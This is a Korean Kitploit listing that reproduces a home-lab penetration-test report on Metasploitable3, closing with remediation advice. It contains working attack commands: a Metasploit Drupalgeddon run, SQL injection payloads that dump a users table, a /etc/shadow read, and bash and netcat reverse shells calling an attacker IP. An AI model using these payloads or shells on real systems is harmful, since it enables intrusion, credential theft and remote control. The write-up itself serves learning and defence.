Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
metasploitable3-pentest-writeup — Metasploitable3 홈랩 침투 테스트 보고서로, Nmap 정찰, Drupalgeddon RCE, SQL 인젝션, SSH 자격 증명 재사용, sudo 권한 상승, 리버스 셸을 다룹니다. | Kitploit
도구/GitHubGitHub/adfortunato/metasploitable3-pentest-writeup
Privilege EscalationReconnaissancePassword AttacksVulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationCTFPenetration Testing

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
Learning & Education
Labs & Practice
GitHubadfortunato/metasploitable3-pentest-writeup

metasploitable3-pentest-writeup

Metasploitable3 홈랩 침투 테스트 보고서로, Nmap 정찰, Drupalgeddon RCE, SQL 인젝션, SSH 자격 증명 재사용, sudo 권한 상승, 리버스 셸을 다룹니다.

저장소 보기
118시간 33분 전아직 검토되지 않음

Metasploitable3 — 침투 테스트 보고서

작성자: Arlen Fortunato
날짜: 2026년 9월
환경: Parrot OS (공격자) → Metasploitable3 Ubuntu 14.04 (대상)
범위: 전체 네트워크 침투 테스트 — 열거, 익스플로잇, 권한 상승, 침투 후 활동
유형: 홈 랩 / CTF(Capture The Flag) 실습

⚠️ 아래의 모든 자격 증명은 가려졌습니다(redacted). 이는 합법적이고 격리된 홈 랩 실습이었습니다.


사용된 도구

도구역할
Nmap포트 스캔, 서비스/버전 탐지, OS 핑거프린팅
Metasploit (msfconsole)익스플로잇 (CVE-2014-3704), 세션 관리
msfvenom페이로드 생성 (bash/netcat 리버스 셸)
nc (netcat)리버스 셸 리스너
curl / sed수동 SQLi 제작 + HTML 출력 포매팅
ssh / scp원격 접속, 자격 증명 검증
openssl s_clientTLS/SSL 서비스 검증
gobuster디렉터리 브루트포싱 (웹 열거)

정찰 — Nmap 전체 포트 스캔

root@kitploit:~
nmap -O -sV -p- -oA metasploitable3 <TARGET_IP>

OS: Linux Ubuntu 14.04, Kernel 3.13.0-24-generic x86_64


발견 사항 요약


발견 상세

1. UnrealIRCd 3.2.8.1 (CVE-2010-2075) — 오탐

취약점: UnrealIRCd 3.2.8.1은 역사적으로 트로이 목마가 삽입된 바이너리와 함께 배포되었으며, 인증되지 않은 클라이언트가 등록 전에 트리거 문자열을 전송하면 임의 명령을 실행합니다 — IRC 데몬 사용자 권한으로 RCE가 가능합니다.

익스플로잇 시도: Metasploit 모듈 exploit/unix/irc/unreal_ircd_3281_backdoor와 페이로드 cmd/unix/reverse_perl, cmd/unix/reverse_netcat, cmd/unix/reverse_bash를 사용했습니다. 모듈 자동 검사는 서비스를 취약하다고 보고했지만, 어떤 페이로드에서도 세션이 반환되지 않았습니다.

수행한 문제 해결:

  • 포트 도달 가능 (nc -vz)
  • 포트가 TLS가 아닌 평문 IRC임을 확인 (openssl s_client)
  • 대상에서 수동 리버스 콜백을 통해 아웃바운드 네트워킹이 작동함을 확인
  • nc를 통한 수동 백도어 트리거가 IRC 프로토콜 오류 451을 반환 — 명령이 IRC 명령으로 파싱되었을 뿐, 실행되지 않음

결론: 버전 배너는 취약한 빌드를 가리키지만, 이 인스턴스에서는 백도어가 존재하지 않습니다 (깨끗하거나 재컴파일된 바이너리). 증거와 함께 익스플로잇 불가 — 오탐으로 분류했습니다.


2. Drupal 7.5 — Drupageddon (CVE-2014-3704)

취약점: Drupal 7.32 이전의 7.x 버전에는 데이터베이스 추상화 계층에 심각한 SQL 인젝션이 존재하여 인증되지 않은 원격 코드 실행이 가능합니다.

버전 확인: CHANGELOG.txt → "Drupal 7.5, 2011-07-27"

익스플로잇:

root@kitploit:~
msfconsole
use exploit/multi/http/drupal_drupageddon
set RHOSTS <TARGET_IP>
set TARGETURI /drupal/
set LHOST <ATTACKER_IP>
set payload php/meterpreter_reverse_tcp
run

결과:

root@kitploit:~
getuid  → www-data
sysinfo → Linux ubuntu 3.13.0-24-generic x86_64
pwd     → /var/www/html/drupal

침투 후 열거:

  • /var/www/html: chat/, drupal/, payroll_app.php, phpmyadmin/
  • /home: 16개 사용자 계정

3. Payroll 앱 — UNION 기반 SQL 인젝션 (수동)

취약점: payroll_app.php 로그인 폼의 비밀번호 필드에 SQL 인젝션이 존재합니다. 자동화 도구는 사용하지 않았습니다 — curl로 직접 제작했습니다.

1단계 — 인증 우회:

root@kitploit:~
' or 1=1#

'는 SQL 문자열을 닫고, or 1=1은 참을 강제하며, #은 뒤따르는 따옴표를 주석 처리합니다.

2단계 — 컬럼 수 + 출력 매핑:

root@kitploit:~
' UNION SELECT null, null, null, null#     -- 오류 없음 = 4개 컬럼
' UNION SELECT 1, 2, 3, 4#                 -- 마커: 1=Username, 2=First, 3=Last, 4=Salary

3단계 — information_schema 열거:

질문답변
DB 버전 / 사용자MySQL 5.5.62, root@localhost
데이터베이스

4단계 — 덤프 (비밀번호 가려짐):

root@kitploit:~
' UNION SELECT username, password, salary, null FROM users#

4. SSH — 기본 자격 증명 및 자격 증명 재사용

경로 1 — 기본 계정: 기본 vagrant 자격 증명 쌍이 SSH를 통해 인증됨 → 사용자는 sudo 그룹에 속하며 (ALL : ALL) NOPASSWD: ALL 권한 보유.

경로 2 — 자격 증명 재사용: SQLi 덤프에서 수집한 자격 증명이 다른 랩 사용자(luke_skywalker, sudo 그룹, (ALL : ALL) ALL)로 SSH를 통해 직접 인증됨.

의의: 서비스 간 자격 증명 재사용을 입증 — 애플리케이션 자격 증명이 시스템 계정에 매핑됨.


5. 권한 상승 (두 가지 경로)

  • 경로 A: vagrant → sudo -l에서 NOPASSWD: ALL 확인 → sudo su - → uid=0(root).
  • 경로 B: luke_skywalker → sudo (ALL : ALL) ALL → sudo su - → uid=0(root).

로컬 익스플로잇은 필요하지 않았습니다 — 두 계정 모두 지나치게 허용적인 sudo 권한을 보유하고 있었습니다.


6. Shadow 덤프

root@kitploit:~
sudo cat /etc/shadow

16개의 md5crypt ($1$) 해시를 추출했습니다 — 권한 상승 후 전체 자격 증명 수집.


7. 침투 후 활동 — 리버스 셸

페이로드 1 — bash:

root@kitploit:~
bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1

nc -lnvp 4444에서 수신 → 대화형 셸.

페이로드 2 — netcat (네임드 파이프):

root@kitploit:~
mkfifo /tmp/fifo; nc <ATTACKER_IP> 4445 0</tmp/fifo | /bin/sh >/tmp/fifo 2>&1; rm /tmp/fifo

nc -lnvp 4445에서 수신 → 대화형 셸.

메커니즘: 네임드 파이프(FIFO)가 netcat의 stdin/stdout을 /bin/sh에 연결하여 단일 소켓 양방향 터널을 형성하며, 이후 FIFO는 정리됩니다.


개선 권고 사항


면책 조항

모든 테스트는 의도적으로 취약한 소프트웨어(Rapid7 Metasploitable3)를 사용하는 격리된 홈 랩에서만 수행되었습니다. 어떠한 프로덕션 시스템이나 무단 대상에도 접근하지 않았습니다. 이 보고서는 교육 목적 및 개인 기술 개발용으로만 작성되었습니다.

도구 다운로드
포트상태서비스버전
21/tcpopenFTPProFTPD 1.3.5
22/tcpopenSSHOpenSSH 6.6.1p1
80/tcpopenHTTPApache httpd 2.4.7 (Ubuntu)
445/tcpopenSMBSamba smbd 3.X–4.X
631/tcpopenIPPCUPS 1.7
3306/tcpopenMySQLMySQL (unauthorized)
3500/tcpopenHTTPWEBrick httpd 1.3.1 (Ruby 2.3.8)
6697/tcpopenIRCUnrealIRCd
8080/tcpopenHTTPJetty 8.1.7.v20120910
#취약점CVE / 유형포트심각도결과
1UnrealIRCd 버전 핑거프린트 — 백도어 탐지CVE-2010-20756697⚠️ 오탐(False positive)모듈 자동 검사 통과, 수동 탐지 실패 — 해당 빌드에 백도어 없음
2Drupal 7.5 — Drupageddon RCECVE-2014-370480🔴 심각(Critical)www-data 권한의 Meterpreter 셸
3Payroll 앱 — UNION SQLi (수동)수동 인젝션80🔴 심각(Critical)전체 DB 덤프 (15명 사용자, 평문 비밀번호 — 가려짐)
4SSH — 기본 + 재사용 자격 증명기본 / 자격 증명 재사용22🔴 심각(Critical)vagrant (NOPASSWD sudo), luke_skywalker (sudo ALL)
5권한 상승 (두 가지 경로)잘못 구성된 sudoN/A🔴 심각(Critical)두 계정 모두 root 획득
6Shadow 덤프침투 후 활동N/A🔴 심각(Critical)16개의 md5crypt 해시 추출
7리버스 셸 (bash + netcat)msfvenom / 수동 제작4444/4445🟠 높음(High)공격자 리스너에서 대화형 셸 확보
information_schema, drupal, mysql, payroll, performance_schema
payroll의 테이블users
users의 컬럼username, first_name, last_name, password, salary
사용자 이름비밀번호급여
leia_organa[REDACTED]9560
luke_skywalker[REDACTED]1080
han_solo[REDACTED]1200
artoo_detoo[REDACTED]22222
boba_fett[REDACTED]20000
greedo[REDACTED]50000
(+ 9개 계정 더)[REDACTED]—
발견 사항권고 사항
UnrealIRCd 버전 핑거프린트바이너리 소스 무결성 검증 (체크섬); 업그레이드 또는 제거
Drupal 7.5최신 안정 버전으로 업그레이드; SA-CORE-2014-005 적용
Payroll SQLi매개변수화된 쿼리 / 준비된 문(prepared statements); 입력 검증
기본 SSH 자격 증명기본 계정 교체/제거; 키 기반 인증 강제
Sudo 과도한 권한최소 권한 적용; NOPASSWD 전면 부여 제거
자격 증명 재사용서비스별 고유 비밀번호 강제; 비밀번호 정책
취약한 비밀번호 해싱md5crypt → bcrypt / Argon2id로 마이그레이션